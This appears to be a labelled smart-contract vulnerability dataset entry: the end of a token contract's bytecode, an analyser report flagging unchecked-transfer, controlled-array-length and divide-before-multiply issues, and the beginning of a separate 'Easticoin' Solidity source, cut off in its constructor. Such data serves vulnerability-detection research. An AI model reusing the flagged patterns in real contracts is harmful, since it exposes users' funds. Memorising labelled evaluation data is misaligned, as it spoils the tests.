803590602001909291908035906020019092919080359060200190929190505050611f5b565b604051808215151515815260200191505060405180910390f35b3480156106b057600080fd5b506106ef600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612238565b604051808215151515815260200191505060405180910390f35b34801561071557600080fd5b5061071e61273d565b005b34801561072c57600080fd5b506107356127fc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561078357600080fd5b5061078c612821565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107cc5780820151818401526020810190506107b1565b50505050905090810190601f1680156107f95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561081357600080fd5b5061081c6128bf565b6040518082815260200191505060405180910390f35b34801561083e57600080fd5b5061087d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506128c7565b604051808215151515815260200191505060405180910390f35b3480156108a357600080fd5b506108e2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612afe565b604051808215151515815260200191505060405180910390f35b34801561090857600080fd5b50610965600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190505050612df7565b604051808215151515815260200191505060405180910390f35b34801561098b57600080fd5b506109ca600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612e7a565b6040518087151515158152602001868152602001858152602001848152602001838152602001828152602001965050505050505060405180910390f35b348015610a1357600080fd5b50610a98600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506131a7565b604051808215151515815260200191505060405180910390f35b348015610abe57600080fd5b50610af3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061333e565b604051808215151515815260200191505060405180910390f35b348015610b1957600080fd5b50610b2261335e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b7057600080fd5b50610bc5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613384565b6040518082815260200191505060405180910390f35b348015610be757600080fd5b50610c1c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061340b565b604051808215151515815260200191505060405180910390f35b348015610c4257600080fd5b50610c77600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613565565b005b348015610c8557600080fd5b50610cc4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050613640565b604051808215151515815260200191505060405180910390f35b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d745780601f10610d4957610100808354040283529160200191610d74565b820191906000526020600020905b815481529060010190602001808311610d5757829003601f168201915b505050505081565b6000600160149054906101000a900460ff16151515610d9a57600080fd5b81600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ee757600080fd5b8373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610f8a57600080fd5b505af1158015610f9e573d6000803e3d6000fd5b505050506040513d6020811015610fb457600080fd5b810190808051906020019092919050505050600190509392505050565b6000600554905090565b6000600160149054906101000a900460ff16151515610ff957600080fd5b83600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561105357600080fd5b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156110b0576110ae85613944565b505b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156110ec57600080fd5b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561113a57600080fd5b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111515156111c557600080fd5b61121783600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8d90919063ffffffff16565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112ac83600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613aa690919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061137e83600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8d90919063ffffffff16565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156114b157600080fd5b61154082600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613aa690919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561170657600080fd5b600160149054906101000a900460ff16151561172157600080fd5b6000600160146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117c757600080fd5b6117dc82600554613aa690919063ffffffff16565b60058190555061183482600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613aa690919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561194557600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561199357600080fd5b3390506119e883600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8d90919063ffffffff16565b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a4083600554613a8d90919063ffffffff16565b6005819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5846040518082815260200191505060405180910390a26001915050919050565b600160149054906101000a900460ff1681565b6000806000809150600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611bda57600090505b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050811015611bd957611bca600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082815481101515611ba957fe5b90600052602060002090600402016003015483613aa690919063ffffffff16565b91508080600101915050611b10565b5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540192505050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c8257600080fd5b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611cda57600080fd5b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167fca5069937e68fd197927055037f59d7c90bf75ac104e6e375539ef480c3ad6ee60405160405180910390a260019050919050565b60008073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515611dbb57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e1757600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611fb857600080fd5b84600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561200657600080fd5b600083141561201457600192505b61206685600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8d90919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206080604051908101604052808681526020018581526020016121268561211860648b613ac490919063ffffffff16565b613adf90919063ffffffff16565b81526020018781525090806001815401808255809150509060018203906000526020600020906004020160009091929091909150600082015181600001556020820151816001015560408201518160020155606082015181600301555050506001600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508573ffffffffffffffffffffffffffffffffffffffff167f625fed9875dada8643f2418b838ae0bc78d9a148a18eee4ee1979ff0f3f5d427866040518082815260200191505060405180910390a26001905095945050505050565b60008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561229857600080fd5b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156122f057600080fd5b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490508410151561234057600080fd5b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208481548110151561238c57fe5b9060005260206000209060040201915081600301549050600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020848154811015156123ef57fe5b90600052602060002090600402016000808201600090556001820160009055600282016000905560038201600090555050600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206124b56001600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050613a8d90919063ffffffff16565b8154811015156124c157fe5b9060005260206000209060040201600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208581548110151561251b57fe5b9060005260206000209060040201600082015481600001556001820154816001015560028201548160020155600382015481600301559050506001600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020818180549050039150816125a99190614305565b506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050141561264e576000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8473ffffffffffffffffffffffffffffffffffffffff167f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1826040518082815260200191505060405180910390a26126ee81600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613aa690919063ffffffff16565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561279857600080fd5b600160149054906101000a900460ff161515156127b457600080fd5b60018060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156128b75780601f1061288c576101008083540402835291602001916128b7565b820191906000526020600020905b81548152906001019060200180831161289a57829003601f168201915b505050505081565b600042905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561290457600080fd5b61299382600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8d90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600160149054906101000a900460ff16151515612b1c57600080fd5b33600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515612b7657600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612bd357612bd133613944565b505b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515612c0f57600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515612c5d57600080fd5b612caf83600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8d90919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d4483600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613aa690919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612e5457600080fd5b612e5e8686613640565b50612e6c8686868686611f5b565b506001905095945050505050565b600080600080600080600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156130ee57600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16600a60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050600a60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002089815481101515612fb157fe5b906000526020600020906004020160030154600a60008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208a81548110151561300f57fe5b906000526020600020906004020160000154600a60008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208b81548110151561306d57fe5b906000526020600020906004020160010154600a60008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208c8154811015156130cb57fe5b90600052602060002090600402016002015495509550955095509550955061319d565b600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16600a60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490506000806000808393508292508191508090509550955095509550955095505b9295509295509295565b6000806131b385613b1a565b15156131be57600080fd5b8490506131cb8585610d7c565b15613335578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156132c55780820151818401526020810190506132aa565b50505050905090810190601f1680156132f25780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561331457600080fd5b505af1158015613328573d6000803e3d6000fd5b5050505060019150613336565b5b509392505050565b60086020528060005260406000206000915054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561346857600080fd5b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156134c157600080fd5b6001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167faf85b60d26151edd11443b704d424da6c43d0468f2235ebae3d1904dbc32304960405160405180910390a260019050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156135c057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156135fc57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561369d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156136d957600080fd5b600660008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561374857600080fd5b6137bb82600660008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8d90919063ffffffff16565b600660008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061387182600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613aa690919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600090505b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050811015613a825760001515600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156139f85760019150613a87565b42600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082815481101515613a4557fe5b906000526020600020906004020160000154111515613a7557613a688382613b2d565b15613a74576001810390505b5b808060010191505061394c565b600191505b50919050565b6000828211151515613a9b57fe5b818303905092915050565b6000808284019050838110151515613aba57fe5b8091505092915050565b6000808284811515613ad257fe5b0490508091505092915050565b6000806000841415613af45760009150613b13565b8284029050828482811515613b0557fe5b04141515613b0f57fe5b8091505b5092915050565b600080823b905060008111915050919050565b6000806000806000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515613b8d57600080fd5b600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905086101515613bdd57600080fd5b600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002086815481101515613c2957fe5b9060005260206000209060040201935083600201549250613c57846000015442613a8d90919063ffffffff16565b9150613c70846001015483613ac490919063ffffffff16565b9050613c9b613c8c856002015483613adf90919063ffffffff16565b84613aa690919063ffffffff16565b92508360030154831015156140485783600301549250600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002086815481101515613cfd57fe5b90600052602060002090600402016000808201600090556001820160009055600282016000905560038201600090555050600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020613dc36001600a60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050613a8d90919063ffffffff16565b815481101515613dcf57fe5b9060005260206000209060040201600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002087815481101515613e2957fe5b9060005260206000209060040201600082015481600001556001820154816001015560028201548160020155600382015481600301559050506001600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081818054905003915081613eb79190614305565b506000600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490501415613f5c576000600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8673ffffffffffffffffffffffffffffffffffffffff167f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1846040518082815260200191505060405180910390a2613ffc83600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613aa690919063ffffffff16565b600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600194506142fb565b6140e16140758560010154614067600185613aa690919063ffffffff16565b613adf90919063ffffffff16565b600a60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020888154811015156140c157fe5b906000526020600020906004020160000154613aa690919063ffffffff16565b600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208781548110151561412d57fe5b9060005260206000209060040201600001819055506141b283600a60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208881548110151561419257fe5b906000526020600020906004020160030154613a8d90919063ffffffff16565b600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020878154811015156141fe57fe5b9060005260206000209060040201600301819055508673ffffffffffffffffffffffffffffffffffffffff167f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1846040518082815260200191505060405180910390a26142b383600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613aa690919063ffffffff16565b600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600094505b5050505092915050565b815481835581811115614332576004028160040283600052602060002091820191016143319190614337565b5b505050565b61437391905b8082111561436f576000808201600090556001820160009055600282016000905560038201600090555060040161433d565b5090565b905600a165627a7a72305820cb6275597857953f21db19ad49646cea922c874ad406fe8c2a1bd3d8405760fa0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
3,854
0x692a3dcd56b60a382f769438dc7ef46551dece89
pragma solidity ^0.4.16; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract Easticoin { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function Easticoin( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount 